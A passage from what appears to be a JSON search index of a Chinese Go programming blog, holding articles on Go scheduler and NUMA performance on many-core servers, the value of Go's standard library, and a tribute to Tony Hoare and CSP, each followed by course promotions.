流量统计报告\u003c/a\u003e，你会发现一个令人脊背发凉的残酷真相：人类，在互联网上已经正式成为少数派，机器流量已历史性突破 50%。\u003c/p\u003e","title":"别再卷前端 UI 了！未来万亿级用户的产品，根本没有界面"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/12/go-concurrency-scalability-issues-on-128-core-cpu\n大家好，我是Tony Bai。\n设想一个极其真实的职场场景：\n你负责的 Go 核心微服务最近流量暴涨，CPU 频频告警。为了解决这个问题，老板大笔一挥，批了几十万预算，采购了最新一代的 128 核 256 线程的怪兽级服务器（比如 AMD EPYC 或 Intel 至强）。\n你满心欢喜地把程序部署上去，期待着 QPS 翻倍、延迟减半的奇迹。\n结果盯着监控面板，你傻眼了：核心数翻了 4 倍，但程序的吞吐量根本没有线性增长，甚至 P99 延迟还比以前在 32 核机器上时变高了！\n老板拍着你的肩膀问：“这服务器是不是买亏了？”你满头大汗，不知道问题出在哪。\n别慌，这可能真不是你代码写得烂。在 2026 年的今天，随着芯片制程逐渐逼近物理极限（2nm），单核性能基本停滞，硬件厂商只能疯狂“堆核心”。这就导致了一个在过去只有超算中心才会关心的底层概念，如同幽灵般降临到了每一个普通开发者头上——NUMA（非一致性内存访问）架构。\n今天，我们就来拆解一下：为什么 Go 语言引以为傲的并发模型，在超多核时代开始“水土不服”？而 Go 核心团队，又打算在今年如何打赢这场史诗级的性能翻身仗？\nGo 调度器的“间歇性失忆症” 在小几十核（比如 32 核及以内）的普通机器上，Go 的 GMP 调度模型（Goroutine – Processor – Machine）堪称完美。调度器会尽量让一个 Goroutine (G) 在同一个 Processor (P) 和同一个系统线程 (M) 上运行，以保证 CPU 缓存（L1/L2 Cache）的高命中率。\n但在 128 核/256线程(Go眼中 NumCPU()返回 256)的庞然大物上，这种亲和性（Affinity）被极其残酷地撕裂了。\n一个值得怀疑的原因是 GC（垃圾回收）带来的 STW（Stop The World）。\n每次 GC 开始和结束时，世界都会短暂停止，所有的 P 都会被冻结。当几毫秒后世界重新启动时，Go 的调度器会得一种“失忆症”：它会把“复活”的 P 分配给任意空闲的 M。\n这就好比你原本在工位 A 办公，桌上摆满了你需要的资料（CPU Cache 中的热数据）。突然老板喊停，重新洗牌，把你随机分配到了工位 B。你需要重新跨过大半个办公室去搬资料（导致极其严重的 Cache Miss）。\n此外，GC 标记工作在 STW 期间启动，并以高优先级调度，这使得它们很可能在之前运行 G 的 P 上运行，即使有空闲的 P。这会迫使 G 迁移到另一个 P 上。\n如果你打开 Go 的 Execution Trace，你会看到一幅灾难般的景象：短短 10 毫秒内，你的 Goroutine 就像弹珠一样，在 128 个 CPU 核心之间来回横跳(下面是一个开发者在真实环境采集到的数据, G11到G19在多个P上切换)。微秒级的跳跃积累起来，就成了吞噬性能的黑洞。\nNUMA 架构下的双倍“跨省流量”惩罚 如果说缓存失效是“切肤之痛”，那么NUMA 架构带来的内存惩罚，就是真正的“断骨之痛”。\n在 128 核这种级别的 CPU 里，物理内存是被划分成多个“大区（NUMA Node，简称Node，每个Node通常有16到64个CPU核）”的。\nCPU 访问自己大区的内存，极快。 CPU 跨大区去访问别人的内存（Remote Node），延迟会瞬间飙升 2 倍甚至更多！ 但问题是，目前的 Go 语言是“非 NUMA 感知”的！\n当你的代码执行 new(struct) 申请内存时，Go 的全局自由列表（Global Free List）完全可能把一块物理位置位于 Node 1 的内存，分配给正在 Node 0 上运行的 CPU。结果就是，你之后的每一次内存读写，都在交高昂的“跨省长途费”。\n更要命的是 Go 引以为傲的**“工作窃取（Work-Stealing）”算法**。\n当某个 CPU 核心闲下来时，它会去偷别的核心队列里的 Goroutine 来执行。这在以前是神来之笔，但在 NUMA 时代却成了毒药：\n它把任务偷了过来，但任务对应的数据还留在原来的 NUMA 节点上！这就好比你抢了别人的砖头搬，但你每次都得跨越一整个城市去拿砖。\n面对 2 倍以上的内存访问物理延迟，你写再多牛逼的设计模式，也无济于事。\n针对上述问题，Go 1.25 和 1.26 已带来部分改进（容器感知的 GOMAXPROCS、Green Tea GC），NUMA 感知的内存分配等更深层优化仍在 Go 1.27以及后续版本的规划中。\n2026 年，Go 团队的破局之战 面对这台越来越难以驾驭的硬件巨兽，Go 核心团队当然没有坐以待毙。在 Go 的官方 issue（#65694, #78044）中，核心成员 Michael Pratt 已经明确表态：解决超高核数和 NUMA 下的性能瓶颈，是今年 Go 团队的头等任务之一。\n我们即将看到 Go 团队打出的几记重拳：\n修复“失忆症”（强化亲和性锁链） 就在去年10月份，Go 团队合并了一个关键的底层补丁（CL 714801）。现在，STW 结束后，runtime 会拼命尝试将 P 重新分配给它在 STW 之前绑定的那个 M。把你牢牢按在原来的工位上，死死护住你的 CPU Cache。\n驯服 GC 抢占（减少驱逐） 新的调度逻辑将尽量避免 GC worker “鸠占鹊巢”，强行驱逐正在运行业务逻辑的 Goroutine，保证业务代码执行环境的连贯性。\n探索 NUMA 感知的内存分配（软性偏好） 这是目前最艰难但也最激动人心的探索。未来的 Go 有望实现：优先在本地 NUMA 节点分配内存；工作窃取时，优先偷取同一个 NUMA 节点内的任务。彻底斩断无意义的“跨省流量”。\n小结：云原生开发者的自我修养 在摩尔定律彻底失效的今天，硬件发展的路线图已经极其明确：单核停滞，核心数将向 256 核、512 核无限狂飙。\n这给我们所有 Go 开发者敲响了警钟：\n在极致的性能调优面前，我们不能再仅仅满足于写出“业务正确”的代码，更要理解你的代码在真实硬件和操作系统上的物理足迹。\n在 Go 1.27 或 Go 1.28 带来这些“性能怪兽级优化”落地之前，如果你发现你的高并发服务在顶级服务器上性能退化，请记住今天这篇文章：\n不要急着改代码，先用 top 和 numastat 查一下你的 NUMA 命中率。 极端延迟敏感的场景下，可以临时考虑使用 runtime.LockOSThread() 或利用 cgroups 将进程绑定在特定的 NUMA 节点上运行。 打破对“加机器就能解决一切”的迷信，这是从初级码农走向资深架构师的必经之路。\n参考资料 https://github.com/golang/go/issues/65694 https://github.com/golang/go/issues/78044 今日互动探讨：\n你在生产环境中，遇到过哪些“加了机器/加了配置，性能反而变差”的诡异玄学事件？后来是怎么排查破解的？\n欢迎在评论区分享你的血泪排查史！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/12/go-concurrency-scalability-issues-on-128-core-cpu/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-concurrency-scalability-issues-on-128-core-cpu-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/12/go-concurrency-scalability-issues-on-128-core-cpu\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/12/go-concurrency-scalability-issues-on-128-core-cpu\"\u003ehttps://tonybai.com/2026/03/12/go-concurrency-scalability-issues-on-128-core-cpu\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e设想一个极其真实的职场场景：\u003c/p\u003e\n\u003cp\u003e你负责的 Go 核心微服务最近流量暴涨，CPU 频频告警。为了解决这个问题，老板大笔一挥，批了几十万预算，采购了最新一代的 128 核 256 线程的怪兽级服务器（比如 AMD EPYC 或 Intel 至强）。\u003c/p\u003e","title":"老板花重金买了台 128 核服务器，我的 Go 程序反而变慢了？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/11/standard-library-is-part-of-the-go-success\n大家好，我是Tony Bai。\n在现代软件开发中，我们似乎已经患上了一种名为“依赖上瘾”的绝症。\n新建一个项目，你敲下的第一行命令大概率不是写业务逻辑，而是 npm install、cargo add 或者 pip install。我们潜意识里已经默认：语言本身只提供最基础的砖块，稍微高级一点的功能（比如发起个网络请求、解析个 JSON），都必须去浩如烟海的开源社区里“淘金”。\n但这种习以为常的生态繁荣，真的是一件好事吗？\n近日，在 Reddit 的 r/golang 社区，一个题为《标准库是 Go 成功的一部分吗？》的帖子，像一颗深水炸弹，炸出了无数程序员对于“依赖地狱（Dependency Hell）”的疯狂吐槽。\n发帖人分享了一个极其真实且让人啼笑皆非的日常小故事：\n他想写一个微型应用，目的非常单纯——从家里的太阳能光伏电池 Web 服务器上抓取一个 JSON 文件，解析出来，然后把能源数据显示在屏幕上。\n他首先用 Go 语言写了一版。极其丝滑，仅靠自带的标准库就搞定了网络请求和 JSON 解析，编译出一个干干净净的二进制文件，直接跑通。\n几天后，他闲来无事，想测试一下其他编译型语言：\n他尝试了 D 语言，发现在不依赖第三方库的情况下，D 语言根本无法在三大主流操作系统上顺利完成“下载并解析 JSON”这个基础任务。 他转头去折腾目前红得发紫的 Rust，结果发现，如果不借助 reqwest（处理 HTTP）和 serde（处理 JSON）这两个庞大的第三方 Crates，面对这个简单的需求，他同样寸步难行。 一圈折腾下来，只有 Nim 勉强做到了原生支持。 这个看似不起眼的小实验，无意间撕开了现代软件工程一块遮羞布，也揭示了 Go 语言在后端开发中一个极其“霸道”、却常被新手低估的绝对优势：降维打击般的标准库（Standard Library）。\n今天，我们就来深度剖析一下，为什么大量工程师越来越偏爱 Go 这种“零依赖”的极简哲学。\n你以为你在写代码，其实你在做“库的选品” 在很多主打“生态繁荣”的编程语言中，标准库被视为一种“最小公集”。语言的设计者把高级特性推给社区，美其名曰“保持语言的核心轻量”。\n这听起来很美好，但在实际的商业工程中，它带来了一个极其消耗心智的隐性成本：决策疲劳（Decision Fatigue）。\n想象一下，当你用 Node.js 或者 Rust 仅仅需要发起一个异步 HTTP 请求时，你需要经历怎样痛苦的内心戏？\n打开包管理网站，搜索 “http client”。 面对排名前 5 的主流库，你开始像个电商买手一样比对：A 库的 Star 数最高但半年没更新了；B 库的 API 最优雅但是性能测试差点意思；C 库支持最新的异步模型但文档写得像天书。 你甚至还要去翻看它们的 GitHub Issues，看看有没有致命的内存泄漏。 纠结了一下午，终于选定了一个库，引入依赖，然后开始痛苦地学习它那套独创的 API 调用法则。 而在 Go 中，这一切内耗根本不存在。\n正如 Reddit 帖子评论区一位资深 Gopher 一针见血指出的：\n“Go 的成功不仅在于它轻量、简单、易学，还在于它自带了一个庞大且极其优秀的标准库。因此，在开始处理每个微小的子任务之前，你不需要去评估一堆第三方库。”\nGo 的哲学是“开箱即用”。net/http 就在那里，encoding/json(以及json/v2) 就在那里。它直接消灭了你在技术选型上的无意义内耗，让你可以把 100% 的脑力，全部砸在能给公司赚钱的业务逻辑上。\n不是所有的标准库，都敢叫“生产级” 看到这里，Python 开发者可能会不服气：“Python 也有非常丰富的标准库啊，我们叫 Batteries included（自带电池）！”\n没错，Python 的标准库确实庞大，但问题在于：它好用吗？它能直接扛高并发吗？\nPython 自带的 urllib API 设计得极其反人类，导致全网的 Python 教程都在教你第一时间去 pip install requests。\n如果你提供的标准库只是一个“能跑就行”的玩具，开发者迟早还是要逃向第三方库的怀抱。其他语言的标准库，大多只敢称自己是“开发级（Dev-level）”的替代品。\n但 Go 的标准库，是真正意义上的“生产级（Production-ready）”。\n以 Go 的 net/http 为例。它不仅仅是能发个请求那么简单，它底层直接内置了工业级的连接池、自动支持 HTTP/2、拥有极其精细的超时控制，并且在骨子里完美契合了 Go 的 Goroutine 并发模型。\n在这个世界上，有无数估值数十亿美元的独角兽公司，他们的高并发微服务底层，没有套 Nginx，没有套 Tomcat 或 Gunicorn，而是直接裸跑在 Go 标准库的 net/http.Server 之上！ 这在其他语言的生态里，简直是不可想象的。\n同样，Go 的 crypto 包也不是随便拼凑的开源算法，它是由谷歌著名的密码学家亲自操刀设计和维护的。它被全球安全界公认为是业界最安全、最难被开发者“误用”的密码学实现之一。\n每一次引入第三方库，都是在给系统埋雷 在现代软件工程中，有一句极其沉重的话：“依赖即债务”。\n你想要一个香蕉，但开源社区给你的是一只拿着香蕉的大猩猩，以及大猩猩背后的一整片热带雨林。你敲下的每一个 npm install，都在把公司的核心系统暴露给未知的风险。\n前几年的 Java Log4j 史诗级漏洞事件，以及三天两头上头条的 NPM 恶意投毒、删库跑路事件（比如著名的 left-pad 事件），给全行业上了血淋淋的一课。当你引入一个计算日期的第三方包时，它可能又间接依赖了 50 个你闻所未闻的子依赖，其中哪怕有一个包的作者被黑客盗了号，你的服务器底裤就被看穿了。\n发帖的楼主深刻地探讨了这一点：\n“保持项目没有外部依赖，让维护变得更加容易。开发者经常忘记，向项目中添加一个依赖，就增加了一份审查恶意代码的责任。”\nGo 强大的标准库，为你提供了一道天然的“供应链安全护城河”。\n像前面提到的“拉取光伏面板 JSON 并解析”这样的任务，在 Go 中是零外部依赖的。\n零外部依赖，就意味着零第三方供应链风险。这种“自给自足”的底气，在如今极度苛求数据安全、合规性审计的企业级开发中，绝对是降维打击般的加分项。\n被忽视的跨平台与 Unicode 魔法 除了宏观的网络和并发处理，Go 的标准库在极其底层、却又极其折磨人的领域，展现出了极其深厚的内功。\n熟悉 C/C++ 的老兵一定懂得，在底层处理多语言编码（locales）和宽字符（wide chars）是一场怎样的噩梦。而 Go 的标准库原生且完美地接纳了 UTF-8。从 strings 包到 unicode/utf8，再到字符串底层极其优雅的字节切片（Byte Slice）设计，让多语言文本处理变得如同呼吸一般自然。\n更不用提 Go 那近乎魔法的跨平台交叉编译。\nGo 的标准库（如 os、path/filepath）对底层操作系统的 API 差异进行了极致的抽象。作为开发者，你可以在一台舒舒服服的 Mac 上写代码，只需加一个环境变量 GOOS=linux，就能瞬间利用标准库编译出一个毫无平台依赖的静态二进制文件，直接扔到 Ubuntu 服务器上完美运行。\n这种抽象能力，让一切第三方跨平台打包工具都显得极其多余。\nGo 1 的承诺，十年前的代码今天依然能跑 最后，Go 的标准库之所以被几百万开发者绝对信任，离不开 Go 团队当年立下的一个近乎严苛的誓言：Go 1 兼容性保证（Go 1 Compatibility Guarantee）。\n这意味着什么？这意味着你在 2012 年基于 Go 1.0 标准库写下的一段处理 HTTP 的代码，在今天最新的 Go 1.26 编译器下，不仅能一字不改地编译通过，而且运行行为保持绝对一致！\n在任何其他语言的开源生态中，很多曾经辉煌一时的第三方霸主库，都会因为作者的精力衰退、兴趣转移或资金断裂，最终走向被废弃（Deprecated）的命运。当你依赖的库停止维护时，你的整个项目组都要被迫进行痛苦的代码大重构。\n开源世界充满了不确定性，而 Go 的标准库，背后站着的是谷歌顶级的工程团队，拥有与这门语言同等漫长的寿命周期。\n这种确定性的安全感，是任何高星的第三方库都无法给予你的。\n写在最后：最好的工具，就是让你感受不到它的存在 我们常说，Go 是一门为**“大规模软件工程”**而生的语言。\n这种工程基因，不仅仅体现在它的极速编译和极简语法上，更深深地烙印在它那套“霸道”的标准库里。\n它逼着你放下对“奇技淫巧”的追求，逼着你放弃花里胡哨的第三方依赖，回归到用最稳固的基石，构建最健壮的系统的正道上来。\n当然，Go 的标准库并不完美，比如千呼万唤始出来的官方 UUID 至今仍让社区望眼欲穿。但在构建现代云原生应用、微服务 API 和数据网关时，它依然交出了一份近乎满分的答卷。\n它告诉了所有高级架构师一个硬道理：最好的工具，是让你感受不到工具存在的工具；最强大的库，是让你根本不用去寻找库的库。\n今日互动吐槽\n你在平时的开发中，被哪个第三方库（依赖地狱）狠狠坑过？或者你觉得 Go 的标准库里，现在最缺哪个核心功能？\n欢迎在评论区开喷吐槽！\n认知跃迁：读懂底层骨架，才能驾驭“降维打击”\n很多写了几年 CRUD 的朋友问我：“Tony 老师，既然 Go 的标准库这么牛，那我只要背熟标准库的 API 是不是就能进大厂了？”\n大错特错。会调 API 只是技工，看懂底层设计才是架构师。\nGo 语言“少即是多”的工程美学，其精髓并不在于它提供了什么函数，而在于它是如何用极简的代码，实现千万级并发与跨平台抽象的。比如 net/http 背后那精妙的 Goroutine 调度模型，比如 context 是如何控制全局超时的。\n如果你渴望突破技术瓶颈，不再满足于做一个“只会调包的熟练工”，而是想从骨子里吃透 Go 的系统级设计思维——\n我的全新极客时间专栏 《Go语言进阶课》正是为你量身打造。\n在这 30+ 讲硬核内容中，我将带你剥开语法糖，深入标准库与并发模型的底层骨架，锻造你编写高可用、生产级微服务的顶级工程实践能力。\n目标只有一个：助你完成从“Go 熟练工”到“能做架构决策的 Go 专家”的蜕变！\n扫描下方二维码，加入专栏，让我们一起深挖这门语言背后的“降维打击”之力。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/11/standard-library-is-part-of-the-go-success/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/standard-library-is-part-of-the-go-success-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/11/standard-library-is-part-of-the-go-success\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/11/standard-library-is-part-of-the-go-success\"\u003ehttps://tonybai.com/2026/03/11/standard-library-is-part-of-the-go-success\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在现代软件开发中，我们似乎已经患上了一种名为“依赖上瘾”的绝症。\u003c/p\u003e\n\u003cp\u003e新建一个项目，你敲下的第一行命令大概率不是写业务逻辑，而是 npm install、cargo add 或者 pip install。我们潜意识里已经默认：语言本身只提供最基础的砖块，稍微高级一点的功能（比如发起个网络请求、解析个 JSON），都必须去浩如烟海的开源社区里“淘金”。\u003c/p\u003e","title":"拉个 JSON 居然要装 5 个第三方库？终于明白 Go 的标准库到底有多“霸道”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/11/in-memory-of-tony-hoare\n大家好，我是Tony Bai。\n在这个由代码构建的现代世界里，有些名字如同星辰般指引着航向。但遗憾的是，2026 年 3 月 5 日，其中一颗最明亮的星辰熄灭了。\n图灵奖得主、快速排序（Quicksort）发明者、CSP（通信顺序进程）理论之父 Tony Hoare（托尼·霍尔）与世长辞，享年 92 岁。\n也许你并不熟悉这个名字。但只要你是一个程序员，你就一定在面试时手写过他发明的快速排序；如果你是一个 Go 开发者，那你每天在键盘上敲下的每一个 go func() 和 make(chan int)，都在调用着他留给这个世界的伟大的遗产。\n今天，让我们暂时放下手头的 CRUD，跨越半个世纪的时间洪流，去看看这位非典型天才，是如何用他那近乎神迹的洞察力，赐予了 Go 语言制霸云原生时代的“并发灵魂”。\n被“共享内存”支配的黑暗时代 在讲 Tony Hoare 有多伟大之前，我们必须先回忆一下，在他提出那套神级理论之前，程序员们在并发编程的泥潭里经历了怎样暗无天日的挣扎。\n随着多核时代的到来，程序需要同时执行多个任务。传统的思路极其简单粗暴：共享内存（Shared Memory）。\n一堆线程就像一群饿狼，死死盯着同一块内存区域。为了防止数据被写乱，程序员们被迫发明了互斥锁（Mutex）、信号量（Semaphore）。你必须极其小心地、以上帝视角去加锁、读写、释放锁。\n只要你稍有不慎，忘记解锁，或者加锁顺序反了，死锁（Deadlock）和竞态条件（Race Condition） 就会像幽灵一样找上门来。程序在本地跑得好好的，一上生产环境就离奇崩溃，且极难复现、极难调试。\n那是一个属于并发编程的“黑暗时代”。天下程序员苦“共享内存与锁”久矣，却找不到破局之法。\n从古典哲学到“六便士的赌注” 就在整个计算机科学界在锁的泥潭里打滚时，Tony Hoare 站了出来。\n有趣的是，Tony 并非科班出身。他在大学修读的竟然是古典学与哲学，后来又在皇家海军服役期间接受了高强度的俄语训练。这种看似“不务正业”的跨学科背景，赋予了他极其严密的逻辑思辨能力和哲学视角的解构能力。\n他年轻时有个极其经典的轶事：在一家公司打工时，老板让他实现 Shellsort（希尔排序）。Tony 完成任务后，怯生生地对老板说：“我知道一种比这快得多的算法。” 老板不屑一顾：“我跟你赌六便士（大约几毛钱），你肯定不知道！”\n于是，Tony 写出了那个后来被印在全世界每一本数据结构教材里的算法——快速排序（Quicksort）。他不仅赢走了那六便士，还顺手改变了世界。\n而在面对并发编程的“绝症”时，Tony 再次展现了他哲学般的降维打击能力。\n惊世骇俗的 CSP 理论 1978 年，Tony Hoare 发表了一篇名为《通信顺序进程》（Communicating Sequential Processes, 简称 CSP）的学术论文。\n宛如一道闪电，这篇论文劈开了并发编程的混沌。\nTony 的哲学思维告诉他：既然共享内存那么容易出错，那我们干脆就不要共享内存了！\n在 CSP 理论中，系统被划分为多个独立的、顺序执行的黑盒（进程）。它们之间没有任何共享状态。当它们需要协作时，唯一的交互方式是通过一条极其明确的管道（Channel）来**“发送和接收消息”**。\n这就像是现实生活中的流水线工人：每个人只管自己手头的活（顺序执行），做完了就通过传送带（Channel）递给下一个人。没人去抢同一个零件，自然就不需要打架（加锁）。\n这种高度抽象的数学模型，完美地将复杂的并发控制，降维成了简单的数据流动。\nGo 语言与云原生的基石 理论是伟大的，但在 1978 年，CSP 受限于当时的硬件架构，很难大规模工程化普及。它在学术界的象牙塔里，静静等待着一个能将它发扬光大的使者。\n30 年后，谷歌的一间办公室里，Rob Pike、Ken Thompson 等几位大神正被 C++ 的并发折磨得痛不欲生。他们决定创造一门新的语言。\n由于 Rob Pike 早年深受 CSP 理论启发，他将 Tony Hoare 的毕生心血，直接刻进了这门新语言的基因里。这门语言，就是 Go。\nTony Hoare 论文里的晦涩数学模型，在 Go 语言里被具象化为了两个极其优雅的关键字：\n顺序进程，演化成了轻量级的 Goroutine (go func())。 通信管道，演化成了强类型的 Channel (make(chan int))。 Rob Pike 更是将 CSP 的核心思想，提炼成了那句在 Go 圈子里无人不知的至理名言：\n“Do not communicate by sharing memory; instead, share memory by communicating.”\n（不要通过共享内存来通信，而应该通过通信来共享内存。）\n让我们看一眼这被 CSP 灵魂洗礼过的代码，没有任何 sync.Mutex，没有复杂的死锁恐惧，数据的控制权随着流水的管道优雅地传递：\nfunc main() { ch := make(chan int) // 创造一条 Tony Hoare 定义的通信管道 go func() { // 启动一个 Tony Hoare 定义的顺序进程 ch \u0026lt;- 42 // 通过通信转移数据 }() fmt.Println(\u0026lt;-ch) // 完美接收，无需任何锁 } Tony Hoare 也许没有预料到，他在半个世纪前写下的论文，会在今天成为支撑全球互联网的基石之一。\n当我们谈论云原生时代的 Docker、Kubernetes、Prometheus 时，我们谈论的其实是 Go 语言；而当我们惊叹于 Go 语言能轻松扛起千万级的高并发调度时，我们真正应该感谢的，是底层那个名叫 CSP 的幽灵。\n我们每一次扩容容器，底层的字节流都在以 Tony Hoare 所描绘的方式，有条不紊地穿梭于硅片与光纤之间。\n致敬宗师：最好的纪念，是传承他的思想 Jim Miles 在追忆 Tony 的文章中提到，这位伟大的图灵奖得主极其谦逊。他曾笑着对别人说：“真正的天才不是一蹴而就的，而是在无数个日夜的深度思考中，为了一个单一问题苦苦挣扎的凡人。”\n作为普通的开发者，我们无缘与这位伟人共饮下午茶，或听他亲口讲述那六便士的赌注。但作为工程师，我们对宗师最好的纪念，就是停止写那些糟糕的、充满死锁风险的并发代码，去真正理解并传承他的设计哲学。\n今天，当你再次在 IDE 中敲下那个简短却充满魔力的 go func() 时，请在心底默默向这位智者致敬。\n再见了，一代巨匠 Tony Hoare。\n您的代码和算法已是不朽。您赐予计算世界的并发灵魂，将伴随着一代又一代的程序员，在无尽的服务器网络中，永不停止地运行下去。\n参考资料 https://en.wikipedia.org/wiki/Communicating_sequential_processes https://blog.computationalcomplexity.org/2026/03/tony-hoare-1934-2026.html 今日互动：\n你在平时的 Go 开发中，是更喜欢用 Channel（CSP 模型）还是更习惯用 Mutex 锁（共享内存模型）？在并发编程中踩过哪些大坑？\n欢迎在评论区分享你的心得！\n认知跃迁：真正驾驭 Go 的并发灵魂\nTony Hoare 将复杂的并发问题，抽象成了极其优雅的 CSP 理论。但很多 Go 开发者，由于没有看透这层底层哲学，依然在用写 Java/C++（共享内存）的思维来写 Go，最终把 Channel 滥用得一塌糊涂，甚至引发严重的 Goroutine 泄漏。\n想要真正吃透 Go 语言的并发灵魂，靠死背语法是绝对不够的。 你必须深入理解底层调度器（G-M-P 模型）是如何运作的，必须明白何时该用 Channel，何时该退回到 Mutex。\n如果你渴望突破并发编程的认知瓶颈，不再只做一个“会调关键字”的熟练工，而是想成为能设计出高可用、极高并发架构的 Go 资深专家——\n我的极客时间专栏 Go语言进阶课 正是为你量身定制。在这 30+ 讲硬核内容中，我将带你剥开语法糖，直击 Go 并发模型的底层骨架，重塑你的系统级架构审美。\n扫描下方二维码，加入专栏。让我们用最扎实的工程实践，去向半个世纪前的伟大思想致敬！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/11/in-memory-of-tony-hoare/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/in-memory-of-tony-hoare-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/11/in-memory-of-tony-hoare\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/11/in-memory-of-tony-hoare\"\u003ehttps://tonybai.com/2026/03/11/in-memory-of-tony-hoare\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个由代码构建的现代世界里，有些名字如同星辰般指引着航向。但遗憾的是，2026 年 3 月 5 日，其中一颗最明亮的星辰熄灭了。\u003c/p\u003e","title":"你每天敲下的 go 